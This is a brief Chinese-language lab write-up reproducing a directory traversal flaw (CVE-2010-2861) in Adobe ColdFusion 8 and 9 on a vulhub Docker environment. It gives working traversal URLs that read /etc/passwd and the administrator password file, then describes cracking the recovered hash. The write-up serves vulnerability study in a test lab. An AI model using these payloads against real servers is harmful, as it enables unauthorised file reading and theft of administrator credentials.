Adobe ColdFusion 文件读取漏洞（CVE-2010-2861）复现一、实验所需环境1、Ubuntu2、vulhub3、coldfusion/CVE-2010-2861二、漏洞介绍 Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品，其运行的CFML（ColdFusion Markup Language）是针对Web应用的一种程序设计语言。
Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞，可导致未授权的用户读取服务器任意文件。
（1）进入vulhub，选择coldfusion/CVE-2010-2861漏洞环境，
输入命令启动：docker-compose up -d
（2）环境启动可能需要1~5分钟，启动后，访问http://your-ip:8500/CFIDE/administrator/enter.cfm，可以看到初始化页面，输入密码admin，开始初始化整个环境。
（3）使用Burp Suite抓包，直接访问http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en，即可读取文件/etc/passwd：
（4）读取后台管理员密码http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en：
（5）将密文复制到解密网站进行解密，解密后获取文明密码为：admin
- https://github.com/vulhub/vulhub/blob/master/coldfusion/CVE-2010-2861